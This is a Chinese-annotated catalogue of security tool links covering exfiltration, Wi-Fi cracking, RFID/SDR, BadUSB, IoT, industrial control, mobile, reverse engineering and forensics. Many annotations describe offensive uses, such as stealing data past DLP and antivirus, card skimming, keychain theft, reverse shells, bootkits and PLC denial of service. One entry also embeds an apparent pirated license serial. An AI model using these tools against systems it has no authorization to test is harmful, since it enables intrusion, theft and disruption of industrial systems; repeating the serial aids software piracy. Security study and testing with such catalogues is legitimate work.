//躲避DLP/MLS数据泄露防护系统,突破数据白名单控制,躲避AV检测进行数据盗取 https://github.com/sensepost/DET //使用单个或多个通道同时执行数据取回 https://github.com/Arno0x/DNSExfiltrator //利用DNS解析进行数据隐秘传输的工具 https://github.com/Arno0x/ReflectiveDnsExfiltrator //反射DNS解析隐蔽通道进行数据泄露 https://github.com/ytisf/PyExfil //用于数据取回的Python软件包 无线通讯安全 https://github.com/OpenATS/OpenATS //C++.无线电卫星天线追踪系统。 -https://github.com/open-sdr/openwifi //C.焦博士的首款开源Wi-Fi基带芯片设计openwifi https://cn0xroot.com/2019/10/17/build_2g_3g_4g_5g_with_sdr/ //汇总:通过软件无线电构建自己的2-5G基站 | Build your own 2G 3G 4G 5G BTS with SDR。雪碧无线电通信软硬件。 https://github.com/torvalds/linux/blob/master/drivers/net/macsec.c //C.利用Linux macsec进行链路层流量安全加密 https://github.com/srsLTE/srsLTE //C++.开源通讯基站系统.G:RangeNetworks/openbts; https://unicorn.360.com/hackcube/ //360独角兽无线电安全研究院 http://www.right.com.cn/forum/ //恩山无线论坛 通讯安全RFID/SDR/NFC http://www.freebuf.com/news/others/605.html //RFID Hacking–资源大合集 https://github.com/samyk/magspoof //信用卡信息盗取 https://github.com/xcicode/MifareOneTool //C#.简称“M1T”,用于读卡和写卡,配合USB转TTL驱动。 https://github.com/RadioWar/NFCGUI //C#.图形化NFC协议安全分析工具,主要针对Mifare卡,基于libnfc完成,支持所有基于PN532芯片解决方案。Ganso稳定版,Pangu加强版。 https://github.com/LennyLeng/RadioEye //RFID配合常见的NFC使用 https://github.com/Proxmark/proxmark3/ //RFID神器PM3 https://github.com/UnicornTeam/hackcube //独角兽实验室SDR硬件渗透测试平台。G:UnicornTeam/HackCube-Special; https://www.gnuradio.org/ //软件无线电信号处理方案。W:PlutoSDR;G:Nuand/bladeRF;G:jopohl/urh; https://github.com/osqzss/gps-sdr-sim //使用ADALM-Pluto/bladeRF/HackRF/USRP等软件平台进行GPS信号模拟 https://github.com/EttusResearch/uhd //C++.USRP(Universal Software Radio Peripheral,通用软件无线电外设),伪基站。 https://github.com/mossmann/hackrf //C.低成本软件无线电平台,greatscottgadgets.com (官网)。G:sharebrained/portapack-hackrf; WIFI网络审计测试 http://topspeedsnail.com //常见的wifi破解、网站扫描技术演示 https://www.wifislax.com //西班牙wifi审计系统,国内汉化版为无线革新5.1.1 Wifislax-WRC。wifi kali系统类 https://cn.elcomsoft.com/ewsa.html //ewsa,wifi嗅探,握手包密码还原,EWSA-173-HC1UW-L3EGT-FFJ3O-SOQB3 http://www.rt68.cn/ //小林无线,在线握手跑包 https://www.passcape.com //wifipr,握手包密码还原,另外还有windows下密码还原工具。商业版。 https://github.com/MisterBianco/BoopSuite //无线网络审计工具,支持2-5GHZ频段 https://github.com/aircrack-ng/aircrack-ng //C.由数据包嗅探器、检测器、WPA / WPA2-PSK 解密器、WEP 和用于 802.11 无线局域网的分析工具组成。1k。 https://github.com/t6x/reaver-wps-fork-t6x //wps跑pin码攻击,常见wifi攻击 https://github.com/derv82/wifite2 //wifite无线审计工具升级版,联动aircrack-ng与reaver https://github.com/savio-code/fern-wifi-cracker //无线安全审计工具 https://github.com/P0cL4bs/WiFi-Pumpkin //无线安全渗透测试套件 https://github.com/entropy1337/infernal-twin //自动化无线攻击工具Infernal-Wireless https://github.com/m4n3dw0lf/PytheM //Python网络/渗透测试工具 https://github.com/InfamousSYN/rogue //无线网络攻击工具包 https://github.com/chrisk44/Hijacker //手机wifi测试工具 https://www.zimperium.com/zanti-mobile-penetration-testing //手机wifi渗透工具 https://github.com/0v3rl0w/e013 //VB.窃取Wifi密码. https://github.com/cls1991/ng //PY.获取你当前连接wifi的密码与ip https://github.com/wi-fi-analyzer/fluxion //窃取用户wifi密码的进行密码重放攻击 WIFI网络防御 https://github.com/SkypLabs/probequest //嗅探和显示无线网卡附近的Wifi Probe请求 https://github.com/wangshub/hmpa-pi //在树莓派或路由,利用 Wireshark 扫描附近网络 WiFi 设备,当有手机或其它 Wi-Fi 设备在附近时,通过邮件或者微信提醒 https://github.com/besimaltnok/PiFinger //检查wifi是否为"Wifi-Pineapple大菠萝"所开放的恶意热点 https://github.com/WiPi-Hunter/PiSavar //利用PineAP,对于FAKE AP虚假接入点,如"Wifi-Pineapple大菠萝"进行监测 https://bbs.pediy.com/thread-246627.htm //打造Wi-Fi “DOS”攻击工具——Wi-Fi_deauther。类似于大菠萝 https://github.com/SYWorks/waidps //PY.Linux下WiFi网络安全预警工具。 硬件安全物理设备HID https://shop.hak5.org/ //硬件设备商店 https://www.arduino.cc/en/Main/Software //Arduino开发工具(arduino IDE)是一个基于开放原始码的软硬体平台,构建于开放原始码simple I/O介面版,并且具有使用类似于Java,C语言的Processing/Wiring开发环境。一般是开发版本要相对应IDE版本 https://www.balena.io/etcher/ //C.USB Live烧录,rufus。10K. https://lr3800.com/2017/01/15/使用电蚊拍diy-usbkill/ //USBKiller电子杀手 https://github.com/0katz/CVE-2019-12476 //JS.HID绕过win10登录界面,利用浏览器调用powershell https://github.com/insecurityofthings/jackit //用于Mousejack的开发代码 https://github.com/samratashok/Kautilya //PS.为人机接口设备提供各种有效负载的工具包 https://github.com/O-MG/DemonSeed/ //利用hid伪造恶意苹果数据线 https://www.jianshu.com/p/a6927ffe0a20 //adb破解安卓锁屏密码。利用recovery对.key文件进行绕过 https://github.com/mame82/LOGITacker //C.利用LOGITacker,通过RF枚举测试来挖掘Logitech无线输入设备的漏洞。 https://github.com/knownsec/gsm //GO.使用树莓派配合硬件来进行短信转发 https://github.com/Orange-Cyberdefense/fenrir-ocd //使用树莓派绕过有线802.1x保护并使你能够访问目标网络 https://openwrt.org/ //C.针对嵌入式设备的Linux操作系统。G:coolsnowwolf/lede Lean’s OpenWrt 中文; https://github.com/spacehuhn/esp8266_deauther/ //C.WiFi安全审计,硬件WiFi ddos https://github.com/tomacwrt/tomacwrt.github.io //基于OpenWRT的渗透工具,配合Nexx WT3020F等类似于TP-LinkMR3040的路由。 物理设备BadUsb https://heimdalsecurity.com/blog/badusb-exploit-vulnerability-fix/ //badusb防御 https://ducktoolkit.com/ //BadUsb\橡皮鸭\HID键盘模拟器 https://github.com/hak5darren/USB-Rubber-Ducky/wiki //badusb编写 https://github.com/whid-injector/WHID //C++.基于ESP的WiFiHID注入器。G:spacehuhn/wifi_ducky;G:sensepost/USaBUSe WifiHID注入器,测信道C2C通信;G:basic4/WiDucky; https://www.cnblogs.com/k1two2/p/7083159.html //C.基于esp8266、Atmega 32u4等开发板进行WiFiHID无线连接、在线编辑脚本的WiFiBadusb。testjob。Con:K1two2@Qq.Com; https://github.com/ebursztein/malusb //创建跨平台的HID欺骗payload,并在Windows和OSX上建立反向TCP-shell https://github.com/mame82/P4wnP1_aloa //在树莓派Raspberry Pi上安装常用的测试组件,打造移动测试平台 https://github.com/euphrat1ca/CVE-2019-12476 //P4wnP1_aloa插件.利用域用户重置密码缺陷,绕过win10登录界面,利用浏览器调用powershell执行命令. https://www.freebuf.com/geek/195631.html //intro.成为物理黑客吧!利用树莓派实现P4wnP1项目进行渗透测试 https://github.com/mame82/P4wnP1 //在树莓派安装网络劫持键盘注入(WHID)工具,testjob. https://github.com/360PegasusTeam/GhostTunnel //可在隔离环境下使用HID生成隐蔽后门,释放有效负载后删除自身 https://lr3800.com/2017/10/18/实战-teensy-烧录间谍-u-盘/ //实战 Teensy 烧录间谍 U 盘。G:lr3800/teensy; https://github.com/rawrly/JuiceJacking //BASH.JuiceJacking,利用USB等人机接口设备窃取数据 https://github.com/kenvix/USBCopyer //C#.U盘文件自动拷贝usb copy https://github.com/RedDrip7/USB-Bootkit //物理接触目标计算机时,将恶意USB设备隐蔽的接入到目标计算机硬件设备内(如主板、USB外部设备等)。内置在隐蔽USB设备中的Bootkit攻击代码,在计算机启动时优先于操作系统运行,从而劫持系统加载过程,实现隐蔽的Bootkit攻击。 车联网智能汽车安全 https://github.com/jaredthecoder/awesome-vehicle-security //一个用于了解车辆安全和汽车黑客的资源清单 https://github.com/pasta-auto //智能汽车测试 https://github.com/schutzwerk/CANalyzat0r //PY.专有汽车协议的安全分析工具包 https://github.com/jgamblin/CarHackingTools //BASH.汽车黑客工具箱,汽车信息调查 IoT物联网安全 https://iot-security.wiki/ //伏宸安全实验室 物联网安全百科 https://github.com/V33RU/IoTSecurity101 //IoT工业物联网安全学习的一些文章和资源。文章、搜索引擎工具、博客、视频、ctf靶场、协议包、数据库、固件样本 https://github.com/fkie-cad/awesome-embedded-and-iot-security //嵌入式与iot安全 https://www.freebuf.com/articles/terminal/203311.html //智能摄像头安全分析及案例参考 http://zeroyu.xyz/2019/08/15/How_to_start_IoT_Reverse/index.html //IoT固件逆向入门。常用工具介绍 https://www.freebuf.com/news/153580.html //物联网安全研究之一:IoT架构介绍 https://github.com/hslatman/awesome-industrial-control-system-security //工控系统安全方向优秀资源收集仓库 https://blog.attify.com //Attify关于firmware固件安全,IoT安全相关文章 https://github.com/adi0x90/attifyos //AttifyOS物联网设备渗透测试系统。iot kali系统类。 https://github.com/threat9/routersploit //PY3.类msf物联网漏洞利用框架。 https://github.com/dhondta/dronesploit //PY3.基于sploitkit无人机测试框架。 https://github.com/shodan-labs/iotdb //nmap配合shodan API扫描IoT设备 https://github.com/ElevenPaths/HomePWN //PY.瑞士军刀类型IOT设备安全测试 设备固件安全 https://github.com/scriptingxss/EmbedOS //基于OVF格式的嵌入式安全测试虚拟机。预装IoTGoat固件测试环境、测试方法与工具 https://github.com/scriptingxss/owasp-fstm/ //OWASP固件安全测试条例 https://www.pentestpartners.com/security-blog/how-to-do-firmware-analysis-tools-tips-and-tricks/ //固件硬件逆向分析方法技巧 https://www.jianshu.com/p/3b3df82500b6 //绿盟马良:智能设备漏洞挖掘中几个突破点 http://blog.nsfocus.net/handbook-safety-analysis-intelligent-equipment/ //绿盟:智能设备安全分析手册.pdf https://github.com/attify/firmware-analysis-toolkit //基于attify规则的iot仿真系统测试工具集,包含firmadyne、Binwalk、Firmware-Mod-Kit、MITMproxy 、Firmwalker组件。 https://github.com/firmadyne/firmadyne //bash,PY.基于Linux的iot固件仿真与分析平台。 https://paper.seebug.org/613/ //工控漏洞挖掘方法之固件逆向分析 https://github.com/unprovable/PentestHardware //硬件渗透测试实用手册 https://github.com/cwerling/psptool //PY.分析和解析AMD安全处理器的固件工具包 https://www.amobbs.com/thread-5703833-1-1.html //【正点原子】XCOM串口调试助手软件 https://github.com/nodemcu/nodemcu-flasher //Pascal.firmware Flash tool for nodemcu,包括“ESP8266Flasher.exe”。 智能设备安全 https://github.com/yaseng/iot-security-wiki/ //物联网安全百科。伏宸安全实验 https://github.com/vletoux/SpoolerScanner //检测 Windows 远程打印机服务是否开启的工具 https://github.com/RUB-NDS/PRET //PY2.打印机攻击框架,利用PostScript,PJL和PCL,捕获或操作打印作业,访问打印机的文件系统和内存,甚至对设备造成物理损坏。W:打印机漏洞研究入门;SmartDeviceMonitor打印机设备监控;。2k。 https://github.com/rapid7/IoTSeeker //物联网设备默认密码扫描检测工具 摄像头安全 https://github.com/woj-ciech/kamerka //PY.调用shodan API将扫描到的摄像头地理位置,与twitter地理显示在地图上 https://github.com/Ullaakut/cameradar //GO.针对摄像头RTSP协议渗透测试,附弱口令字典 https://github.com/Ullaakut/camerattack //GO.摄像头远程禁用 https://github.com/NIteshx2/UltimateSecurityCam //PY3.摄像头监测外来人员软件,有防欺骗设置 http://www.dtxiaoting.com //扫描连接的WiFi中摄像头存在情况 路由网关安全 http://stascorp.com/search/?q=Router+Scan //Pascal.RouterScan毛子开发的路由器漏洞利用工具,界面化。GoodJob. https://github.com/jh00nbr/Routerhunter-2.0 路由器漏洞扫描利用。NoUpdate https://github.com/googleinurl/RouterHunterBR //PHP.路由器设备漏洞扫描利用 https://github.com/scu-igroup/telnet-scanner //Telnet服务密码撞库 https://github.com/Viralmaniar/Passhunt //PY.simple。用于搜索网络设备Web应用程序等的默认凭证。包含523个厂家的2084组默认密码 ICS工控安全 https://collaborate.mitre.org/attackics/index.php/Main_Page //ICS工业安全 ATT&CK矩阵类. http://jzgkchina.com //剑指工控 工控基础知识。W:linuxscada.info; https://www.freebuf.com/ics-articles //工控相关文章 https://www.freebuf.com/articles/network/178251.html //工控安全现场实施经验谈之工控系统如何加强主机防护 http://www.freebuf.com/sectool/174567.html //工业控制系统(ICS)安全专家必备的测试工具和安全资源 https://github.com/ITI/ICS-Security-Tools //工控安全资源。国内外文章、脚本、固件、协议库、数据包、相关工具。G:euphrat1ca/ICSwiki; https://github.com/hslatman/awesome-industrial-control-system-security //Industrial Control System (ICS) security安全集 http://www.icsmaster.org/archives/ics/942 //工控安全工具集。G:w3h/icsmaster; https://www.controlthings.io/ //SamuraiSTFU ics kali https://github.com/moki-ics/moki //一键配置类似于kali的工控渗透测试系统的脚本 https://github.com/SadFud/Exploits //PY/BASH.PWN利用框架 CTFs exploit POCs.工控漏洞POC https://gitlab.com/expliot_framework/expliot //PY3.工控安全漏洞测试框架 https://github.com/dark-lbp/isf //PY2.基于routersploit基础开发的ISF(Industrial Control System Exploitation Framework)。wenzheZhu https://github.com/w3h/isf //py2.基于Fuzzbunch命令行基础开发的工控测试框架。工匠实验室。 https://dragos.com/community-tools/ //工业网络安全公司 Dragos Inc.发布的Integrity(Sophia)被动ICS网络资产发现,Cyber​​Lens关于ICS数据包处理\捕获\可视化显示。 https://github.com/nsacyber/GRASSMARLIN //Grassmarlin是一款由美国国家安全局开发的,能够帮助运维工程师在IP网络上发现并编目监控和数据采集系统(SCADA)和工业控制系统(ICS)主机的开源软件工具,也被称为被动网络映射器。其数据源十分多样化,包括PCAP文件、路由器和交换机配置文件、CAM表以及实时网络数据包的捕获。该工具能够自动识别可用网络,生成网络拓扑,实现主机间通信的可视化,还能够展示从主机通信中所提取的元数据。 https://github.com/digitalbond/Redpoint //ICS识别所用nse脚本 https://github.com/XHermitOne/icscanner //界面化ics扫描器 ics 西门子S7安全 http://snap7.sourceforge.net/ //以太网32/64位多平台S7 PLC通信套件 https://www.freebuf.com/articles/ics-articles/212283.html //intro.西门子S7通信过程及重放攻击分析。利用snap7与isfs7300进行重放测试。 https://www.freebuf.com/articles/ics-articles/188159.html //工控安全 | 西门子通信协议S7COMM(Part 1) https://github.com/hslatman/awesome-industrial-control-system-security/blob/master/source/s7-cracker.py //s7密码爆破 ics scada安全 https://github.com/nezza/scada-stuff //对SCADA/ICS设备进行逆向与攻击 https://github.com/0xICF/SCADAShutdownTool// //工业控制系统自动化和测试工具,允许安全研究人员和专家测试SCADA安全系统,枚举从属控制器,读取控制器的寄存器值并重写寄存器数据。 ics modbus安全 https://github.com/yanlinlin82/plcscan //通过TCP/102和TCP/502识别互联网上PLC设备和其他Modbus设备 https://github.com/ezelf/modbusKiller //py.Schneider Dos PLC Modicon via Modbus Injection。CVE-2017-6017。Github:Exploit-install/smod。 工控模拟仿真 https://github.com/thiagoralves/OpenPLC_v3 //C++.最基本plc 移动安全 https://github.com/Brucetg/App_Security //App安全学习资源 https://github.com/OWASP/owasp-mstg OWASP Mobile Security Testing Guide移动安全测试资源 https://github.com/MobSF/Mobile-Security-Framework-MobSF //软件自动化审计框架,支持docker运行。android、ios、win https://github.com/mwrlabs/drozer //PY.MWR Labs开源Android 安全测试框架,支持编写自定义模块。 https://github.com/nccgroup/house //JS,PY.运行时手机 App 分析工具包, 带Web GUI 移动端渗透测试框架 https://github.com/nettitude/scrounger //PY.Linux下iOS和Android移动应用程序渗透测试框架 https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-project //移动端KaliHunter手机渗透测试系统 https://github.com/cSploit/android //JAVA.cSploit: Android network pentesting suite手机渗透工具框架,可兼容msf https://github.com/euphrat1ca/Smartphone-Pentest-Framework //PY/C/C++.SPF移动端渗透测试框架,支持电话通讯协议SS7漏洞利用,进行远程SS7指令操作。Web:shevirah.com/dagah/; https://github.com/metachar/PhoneSploit //PY.通过shodan搜索开启调试模式的安卓设备,利用Adb控制安卓设备。 https://termux.com/ //Termux是一个Android下一个高级的终端模拟器,开源且不需要root,支持apt管理软件包。 https://github.com/Gameye98/Lazymux //PY2.通过Termux打造免root安卓渗透工具 Android/Java安全 https://github.com/frida/frida/ //PY\JAVA.Frida是一款通过JavaScript代码注入应用程序的跨平台hook框架,二进制逆向动态调试。Github:dweinstein/awesome-frida;G:andreafioraldi/frida-fuzzer;。testjob。 https://github.com/sensepost/objection //PY.移动端动态调试安全检测,Frida公司开发。testjob。 https://github.com/hluwa/ZenTracer //PY.frida插件,Android方法调用追踪 https://github.com/lyxhh/lxhToolHTTPDecrypt //js.基于frida/Burp/flask的app渗透测试,利用HTTP协议,识别app加密算法,解密数据包,调用Burp。 https://github.com/rovo89/Xposed //C++.Android动态修改hook,隐藏root执行权限。 https://github.com/Fuzion24/JustTrustMe //Java.基于xposed模块进行app证书SSL注入抓包。 https://taichi.cool/ //Android魔改框架,可加载 Xposed 模块、修改系统和APP、拦截方法,执行 hook 逻辑等。支持免root与Magisk模式。 https://github.com/asLody/VirtualApp //JAVA.android魔改框架,支持软件层模拟系统安装xposed等模块。greatjob。 https://github.com/android-hacker/VirtualXposed //JAVA.基于VirtualApp 和 epic 免root使用xposed https://github.com/Genymobile/scrcpy //C.基于adb连接使pc控制Android设备 https://github.com/zsdlove/ApkVulCheck //PY3.对安卓apk进行特征值匹配。justsoso。 https://github.com/jboss-javassist/javassist //JAVA.能够操作字节码框架,通过它我们能很轻易的修改class代码文件。2.2K https://github.com/programa-stic //基于Androguard 及Static Android Analysis Framework 的Android App静态分析引擎。 https://github.com/WooyunDota/DroidSSLUnpinning //安卓证书锁定解除的工具 https://github.com/crifan/android_app_security_crack //安卓应用的安全和破解。goodjob。 IOS/macOS安全 https://github.com/axi0mX/ipwndfu //PY.checkm8利用ios底层全版本越狱 https://github.com/dmayer/idb //RUBY.开源的iOS App安全评估工具,作者是Danl A.Mayer。 https://github.com/mwrlabs/needle //PY.MWR Labs开发的一个开源iOS安全测试框架,同样支持开发自定义模块来扩展Needle的功能,目前主要功能包含对iOS应用数据存储,IPC.网络通信,静态代码分析,hooking及二进制文件防护等方面的安全审计。 https://github.com/GeoSn0w/OsirisJailbreak12 //IOS12不完全越狱 https://github.com/chaitin/passionfruit //iOS应用逆向与分析工具,可以大大加速iOS应用安全分析过程 https://sukarodo.me/gr00t/ //IOS12全版本越狱工具 https://github.com/samyk/frisky //针对 ios/mac OSX 应用的嗅探/修改/逆向/注入等工具 https://github.com/LinusHenze/Keysteal //C++.窃取MacOS下KeyChain。CVE-2019-8526 https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/check_icmp_dos.py //CVE-2018-4407,macos/ios缓冲区溢出可导致系统崩溃 逆向分析破解 https://www.pelock.com/articles/reverse-engineering-tools-review //Reverse engineering tools review 逆向工具测评 https://down.52pojie.cn/ //吾爱破解爱盘工具包。 https://www.peerlyst.com/posts/resource-learning-how-to-reverse-malware-a-guide //恶意软件逆向指南和工具的集合 https://github.com/alphaSeclab/awesome-reverse-engineering //Reverse Engineering Resources About All Platforms(Windows/Linux/macOS/Android/iOS/IoT)3000+逆向资源合集. PC端逆向二进制文件分析 https://github.com/ReFirmLabs/binwalk //PY.固件、二进制、pwn等文件自动化识别与逆向,支持多插件配置。goodjob,5k。 http://www.sweetscape.com/010editor/ //识别不同文件格式(模板)的16进制编辑器,具有文件修复功能。 https://www.x-ways.net/winhex/ //Winhex是一款的十六进制编辑器,在计算机取证,数据恢复,低级数据处理。 https://www.hex-rays.com //IDA pro反汇编工具。商业版。 https://youtu.be/qCQRKLaz2nQ //IDA pro教学视频 https://github.com/xrkk/awesome-ida //IDA Pro有关的资源收集 https://github.com/NationalSecurityAgency/ghidra //JAVA.NSA出品的软件逆向动态调试框架Ghidra,类比IDA https://github.com/dark-lbp/vxhunter //PY.利用IDA Pro 7.x与Ghidra 9.0.1和VxWorks对硬件设备进行调试 https://github.com/ghidraninja/ghidra_scripts //YARA,PY.Ghidra的Binwal\Yara联动插件 https://github.com/angr/angr //PY.二进制分析工具,支持动态符号执行和静态分析。3k。 https://github.com/radare/radare2 //C.radare2是基于Capstone的跨平台逆向工程平台。包括反汇编、分析数据、打补丁、比较数据、搜索、替换、虚拟化等。10k。goodjob。 https://github.com/radareorg/cutter //C++.基于QT的radare2框架GUI。5k。 https://github.com/armijnhemel/binaryanalysis-ng //PY3.Binary Analysis Toolkit(BAT)。对固件、二进制、pwn等文件进行递归式解压缩实现识别与逆向。goodjob,0.1k。 https://github.com/x64dbg/x64dbg //C++.x96 Windows调试工具。greatjob。34k。W:immunityinc.com,Immunity Debugger;32位汇编分析调试器Ollydbg;G:horsicq/x64dbg-Plugin-Manager;。 查脱壳分析PE操作 https://github.com/horsicq/Detect-It-Easy //C.官网 ntinfo.biz,PE侦壳工具可以查看EXE/DLL文件编译器信息、是否加壳、入口点地址、输出表/输入表等信息。W:exeinfo.xn.pl https://ntcore.com/?page_id=388 //PE32 & PE64编辑工具,支持.NET文件格式。 https://github.com/rednaga/APKiD //YARA.查找Android应用程序标识符的封隔器,保护器,混淆器 - PEiD for Android. http://www.legendsec.org/1888.html //pkid查壳工具,APK查壳工具PKID ApkScan-PKID。 https://github.com/DrizzleRisk/drizzleDumper //Android脱壳工具。G:TUnpacker;G:BUnpacker;G:halfkiss/ZjDroid; https://www.jianshu.com/p/6a504c7928da //Android常见App加固厂商脱壳方法的整理 汇编反编译框架 https://github.com/endgameinc/xori //RUST.自定义反汇编框架,PE32, 32+ and shellcode。 https://github.com/blacknbunny/peanalyzer32 //PY3.PE 文件分析和反汇编工具 https://github.com/aquynh/capstone //C.Capstone是一个轻量级的多平台多架构支持的反汇编框架。支持包括ARM,ARM64,MIPS和x86/x64平台。4k。 https://github.com/joxeankoret/pyew //PY.基于Capstone的深度代码分析和文件修改工具。支持PE、ELF、OLE2、PDF等格式,并且支持自定义插件 VB/易语言/C#逆向 https://github.com/icsharpcode/ILSpy //C#.针对exe反编译软件。8k。goodjob。 https://github.com/0xd4d/dnSpy //C#.dnSpy is a debugger and .NET assembly editor https://www.vb-decompiler.org/products/cn.htm //VB Decompiler是针对Visual Basic 5.0/6.0开发的程序反编译器 Python逆向 https://sourceforge.net/projects/pyinstallerextractor //PY.pyinstaller .exe反编译为 .pyc https://github.com/countercept/python-exe-unpacker //PY.Linux下py2exe or pyinstaller打包解压缩 http://tools.bugscaner.com/decompyle //.pyc或 .pyo文件在线反编译 https://github.com/rocky/python-uncompyle6 //PY3.支持Python version 1.3 to version 3.7源码反编译,*.pyc。 https://github.com/wibiti/uncompyle2 //PY2.针对python2.7源码反编译 https://sourceforge.net/projects/easypythondecompiler //Easy Python Decompiler利用 “Uncompyle2” & “Decompyle++",支持.pyc 1.0 - 3.4源码反编译,GUI界面。 https://github.com/zrax/pycdc //C++.Linux全版本*.pyc反编译。 Java逆向 https://github.com/java-decompiler/jd-gui //JAVA.java反编译工具。7k。 https://github.com/skylot/jadx //JAVA.jd-gui升级版,反编译出来的代码未格式化。20k。 https://github.com/deathmarine/Luyten //JAVA.格式化java反编译后代码,解决jd的INTERNAL ERROR问题。3k。 https://github.com/pxb1988/dex2jar //JAVA. android/.dex/.class java文件逆向反编译 安卓逆向APK分析 https://www.jianshu.com/p/a12d04fc748f //Android逆向分析大全 https://securityoversimplicity.wordpress.com/2017/04/29/android-reversing-part-2-tools/ // https://www.andreafortuna.org/2019/07/18/reverse-engineering-and-penetration-testing-on-android-apps-my-own-list-of-tools/ // https://www.pd521.com //逆向未来,android逆向菜鸟速参手册完蛋版,AndroidKiller安卓逆向工具。P:apk改之理; https://github.com/iBotPeaches/Apktool //java.Android逆向apk反编译工具.8K. https://github.com/UltimateHackers/Diggy //bash.基于apktool反编译后正则匹配从 Apk 文件中提取 URLs 的工具。simple 系统监控管理 https://docs.microsoft.com/en-us/sysinternals/ //Windows Sysinternals套件系统管理。autorun(自启动)、Process Explorer(进程管理定位加强)、procmon、procdump(监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件) http://www.xuetr.com/ //PC Hunter是一个驱动级的系统维护工具,能够查看各种Windows的各类底层系统信息,包括进程、驱动模块、内核、内核钩子、应用层钩子,网络、注册表、文件、启动项、系统杂项、电脑体检等。pchunter down4.huorong.cn/hrsword.exe //火绒剑。W:process monitor; https://github.com/mohuihui/antispy //C/C++.枚举32位系统中隐藏至深的进程、文件、网络连接、内核对象等,并且也可以检测用户态、内核态各种钩子 https://github.com/draios/sysdig //C++.系统活动监控,捕获和分析应用程序。它具有强大的过滤语言和可自定义的输出,以及可以使用称为chisels 的Lua脚本扩展的核心功能,sysdig.com。goodjob。6k。 https://github.com/kkamagui/shadow-box-for-arm //C/PY.ARM架构Linux系统监控,同仓库还有shadow-box-for-x86架构系统监控 https://github.com/osquery/osquery //C++.Facebook创建的SQL驱动操作系统检测和分析工具,支持像SQL语句一样查询系统的各项指标,如运行进程/加载内核模块/网络连接/浏览器插件/硬件事件/文件哈希等,osquery.io。14k。 https://www.crystalidea.com/uninstall-tool //Windows卸载,软件安装跟踪。P:CCleaner; http://emptyloop.com/unlocker/ //右键扩充工具,通过删除文件和程序关联的方式解除文件的占用。在解除占用时不会强制关闭占用文件进程 程序调试进程管理 https://www.cheatengine.org //CE(Cheat Engine)是一款内存修改编辑工具,程序函数监控,配合Ultimap功能食用更佳 http://www.angusj.com/resourcehacker //Windows二进制文件浏览编辑 (*.exe; *.dll; .scr; etc) 和资源文件修改 (.res, *.mui)图标属性等。Resource Hacker类似于于Restorator文件资源修改软件。 https://github.com/euphrat1ca/PeDoll //C++.基于inlineHook技术的软件分析工具,C/S架构 https://github.com/everdox/InfinityHook //C++.挂钩系统调用,上下文切换,页面错误等。 系统日志相关 http://www.nirsoft.net/utils/computer_activity_view.html //LastActivityView是一款电脑操作记录查看器,直接调用系统日志,显示安装软件、系统启动、关机、网络连接、执行exe 的发生时间和路径 https://github.com/SwiftOnSecurity/sysmon-config //Sysmon配置文件。系统进程监控,dns查询。 系统注册表监控 https://sourceforge.net/projects/regshot/ //Regshot是注册表比较工具,通过抓取两次注册表快速比较得出两次注册表的不同之处 系统进程 https://bitsum.com/ 系统优化工具,主要功能是基于其特别的算法动态调整各个进程优先级以实现为系统减负的目的,可以用来监视进程动作 https://www.portablesoft.org/ //可以Unlock占用文件的进程,查看文件或文件夹被占用的情况,内核模块和驱动的查看管理,进程模块的内存dump等工具 https://github.com/processhacker/processhacker //C.监控系统资源、内存以及模块信息、软件调试,管理进程 https://github.com/DominicBreuker/pspy //GO.Linux下绕过root权限监控进程运行.GOODJOB. https://github.com/rabbitstack/fibratus //PY.能够捕捉到绝大多数的Windows内核活动-进程/线程创建和终止,上下文转换,文件系统I/O,寄存器,网络活动以及DLL加载/卸载等。 https://github.com/open-falcon //GO/PY.Falco是一款由Sysdig开源的进程异常行为检测工具。它既能够检测传统主机上的应用程序,也能够检测容器环境和云平台(主要是Kubernetes和Mesos)。Github:falcosecurity/falco; 系统文件 https://www.zynamics.com/software.html //BinDiff发现反汇编代码中的差异和相似之处。支持x86、MIPS、ARM/AArch64、PowerPC等架构进行二进制文件对比 http://www.beyondcompare.cc/xiazai.html //Beyond Compare是Scooter Software推出的文件比较工具。主要用于比较两个文件夹或者文件并将差异以颜色标记,比较的范围包括目录,文档内容等 数字取证 https://github.com/alphaSeclab/awesome-forensics //取证相关工具和文章。收集的所有开源工具: sec-tool-list;逆向资源: awesome-reverse-engineering;网络相关的安全资源: awesome-network-stuff;攻击性网络安全资源: awesome-cyber-security;开源远控和恶意远控分析报告: awesome-rat;Webshell工具和分析/使用文章: awesome-webshell; https://github.com/laramies/metagoofil //PY.从文件获取相关网站的用户名与邮箱等数据。documents (pdf,doc,xls,ppt,etc) https://github.com/mozilla/mig //go.火狐mozilla基金会针对海量文件的内容定位工具,支持节点分级部署。Deprecation https://polytechnic.purdue.edu/facilities/cybersecurity-forensics-lab/tools //FileTSAR大规模的数据调查取证 文件取证 https://www.audacityteam.org/ //音频文件和波形图处理工具 https://github.com/redaelli/imago-forensics //PY2.将照片中Exif、MIME等信息提取存入CSV/sqlite中 http://www.magicexif.com/ //将照片图像中的exif信息数据化 http://mediaarea.net/MediaInfo //类似于exiftool来查看内容区域和元数据信息 https://www.sno.phy.queensu.ca/~phil/exiftool/ //检查图像文件的exif元数据 https://www.gimp.org/ //Gimp提供了转换各类图像文件可视化数据的功能,还可以用于确认文件是否是一个图像文件 http://qpdf.sourceforge.net/ //查看pdf文件并整理提取信息 http://zipinfo.com/ //在无需提取的情况下列出了zip文件的内容信息 计算机设备取证 https://www.ontrack.com/products/data-recovery-software/ //easyrecovery文件恢复软件。商业版。易我数据恢复;RECUVA http://www.diskgenius.cn/ //数据恢复/分区管理/备份还原。商业版。 https://clonezilla.org/downloads.php //再生龙(Clonezilla)是一个免费的灾难恢复、硬盘克隆、硬盘映像档制作的部署和解决方案,由台湾的国家高速网络与计算中心(国网中心)所开发 https://www.cgsecurity.org/wiki/TestDisk //磁盘分区修复 https://github.com/decalage2/oletools //PY.用于分析MS OLE2文件(结构化存储,复合文件二进制格式)和MS Office文档 https://github.com/google/bochspwn-reloaded //Bochspwn Reloaded(内核信息泄漏检测)工具 https://github.com/comaeio/LiveCloudKd //C.针对Hyper-V的内存取证 https://github.com/sevagas/swap_digger //针对 Linux swap 进行取证分析的工具 http://extundelete.sourceforge.net/ //linux下的文件恢复 https://github.com/SekoiaLab/Fastir_Collector //Windows取证/信息收集,不限于内存,注册表,文件信息等 https://github.com/Viralmaniar/Remote-Desktop-Caching- //PY.RDP信息复原,png图片格式 https://github.com/snovvcrash/usbrip 